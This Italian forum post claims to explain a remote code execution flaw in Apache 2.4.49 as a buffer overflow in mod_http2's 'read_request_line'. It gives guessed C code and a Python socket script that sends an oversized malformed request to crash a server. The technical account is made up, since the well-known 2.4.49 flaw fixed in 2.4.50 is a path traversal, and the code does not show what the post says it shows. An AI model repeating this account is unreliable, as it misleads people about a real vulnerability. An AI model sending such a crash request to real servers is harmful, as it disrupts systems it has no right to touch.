Ultima modifica:
INTRO
Salve gente, oggi voglio parlarvi di una vulnerabilità RCE (Remote Code Execution) presente nella versione 2.4.49 di Apache. Come saprete, l'RCE è una delle vulnerabilità più potenti in quanto permette a un hacker di eseguire codice arbitrario sul sistema remoto compromesso.EXPLOIT IN DEPTH
Nel caso specifico di Apache 2.4.49, la vulnerabilità è stata causata da un errore di input sanitization nella funzione "read_request_line" del modulo "mod_http2". Il codice vulnerabile potrebbe essere simile a questo:
Codice:
static apr_status_t read_request_line(h2_request *req, apr_bucket_brigade *bb,
ap_filter_t* f, apr_read_type_e block)
{
...
/* read the request line */
status = ap_rgetline(&line, &len, req->r, block, f->c->bucket_alloc);
...
/* process the request line */
req->method = line;
...
/* process the request uri */
req->path = line + len;
...
}
Per dimostrare l'effettiva esistenza di questa vulnerabilità, un hacker potrebbe utilizzare un semplice script come questo per inviare una richiesta malformata e causare un crash del server:
Python:
import socket
ip = "example.com"
port = 80
request = "GET / HTTP/1.1\r\nHost: " + ip + "\r\n\r\n" + "A"*10000 + "\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.sendall(request.encode())
s.close()
IN CONCLUSIONE
Per proteggere i propri sistemi dalle vulnerabilità RCE, è importante tenere sempre i software aggiornati. In questo caso, è stato sufficiente aggiornare Apache alla versione 2.4.50 o successiva per risolvere la vulnerabilità. Inoltre, come sempre, è importante seguire le best practice di sicurezza per proteggere i propri sistemi da attacchi RCE.Questa vulnerabilità non richiede che mod_cgi sia attivo perchè exploita un buffer overflow e non va ad eseguire
/bin/sh
usando il metodo cgi-bin
.Quella è tutt'altra vulnerabilità